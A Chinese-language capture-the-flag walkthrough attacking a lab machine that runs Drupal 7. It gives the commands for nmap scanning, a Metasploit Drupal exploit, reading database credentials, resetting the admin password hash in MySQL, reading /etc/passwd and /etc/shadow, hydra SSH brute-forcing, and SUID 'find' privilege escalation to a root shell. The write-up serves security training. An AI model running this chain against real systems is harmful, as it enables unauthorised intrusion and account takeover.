目标机:192.168.26.161
攻击机:192.168.26.144
1、信息收集:
使用ARP扫描,获得信息:
arp-scan -l
适应NMAP进行扫描IP为192.168.26.161 ,看他开启了哪些端口、服务和操作系统:
nmap -A -T4 -p- 192.168.26.161
-A:全面扫描/综合扫描
-T4:指定扫描过程的级别,级别越高扫描速度越快,但也容易被防火墙/ids拦截,一般推荐使用T4
-p- :端口扫描
可以看到端口有 80 22 111端口,也就是说有开启了http服务和ssh服务;
打开HTTP服务:(是一个登录框,可能会存在sql注入、弱口令、xss等漏洞)
使用Wappalyzer插件,可以发现CMS是Drupal 7;查看有没有cms漏洞。
对该登录框进行sql注入时,被服务器检测到,然后我的IP被封了,当然了可以使用代理池,进行sql注入,这里我觉得麻烦,刚好也找了该cms Drupal 7的漏洞;
目标明确后,那就进行漏洞利用吧:
使用MSF搜搜该cms的漏洞:
使用这个7.x的版块:
show options
set rhosts 192.168.26.161
exploit
攻击成功后,查看下我们的权限和文件:
这里给出了提示是:查看CMS的配置文件:
那就开始疯狂查看文件信息:
我靠,查到了数据库的帐号密码,那不就很简单了,直接登录MySQL数据库,拿到web服务的帐号密码;
mysql -udbuser -pR0ck3t
use drupaldb;
show tables;
select * from users;
密码是被加密的,要不解密,要不就是更换admin的密码;但是解密的话可能有点负责:
查看下文件,密码是怎么加密的:在users表中,我们发现有admin用户,但是密码是加盐过的,一般加盐的密码是很难破解的,所以选择修改用户密码来解决。首先生成自定密码的加盐哈希值。退出mysql,回到/var/www下执行以下代码,生成自己的加盐密码,
exit //退出mysql的shell
cd /var/www //回到网站目录
php scripts/password-hash.sh 自己设置的密码
php scripts/password-hash.sh 123456
php scripts/password-hash.sh 123456
接下来就是将我们的admin密码更换成我我们设置的密码,进行修改;
update users set pass="$S$Dw.yTXAj/HyGhrpbxElnEvrrAvTiRMlbR6c.pUQyZZco7XYVHbZT" where uid=1;
拿着我们的帐号密码进行登录:
点击左上角的,查看flag4
flag3给我们的提示是:去查看存放用户信息的文件和存放密码信息的文件, /etc/shadow无法查看,权限不够,查看etc/passwd,发现目标靶机用户flag4,并且有/bin/bash,看到这想到了还有端口22,所以ssh连接。
帐号密码都在这个文件方的,但是一般低权限的是无法访问的;
cat /etc/shadow
那我们就查查有什么用户或者明文密码:
cat /etc/passwd
flag4用户是可以登录的;那我们就对这个flag4用户进行爆破:
字典文件:
cat /usr/share/john/password.lst
hydra -l flag4 -P /usr/share/john/password.lst 192.168.26.161 ssh -vV -f
爆破出用户flag4的密码为:orange
登录成功:
在flag4用户下,我们发现了flag4.txt。根据提示,我们需要拿到root用户的权限,才能得到最终的flag。在这里我们使用suid提权,通过命令查看是否具有root权限的命令。
find / -perm -4000 2>/dev/null
发现find命令可以进行提权,拥有suid的权限,一般这种的还有(mv、vim、cp……命令)看目标机的情况;
find -exec /bin/sh \;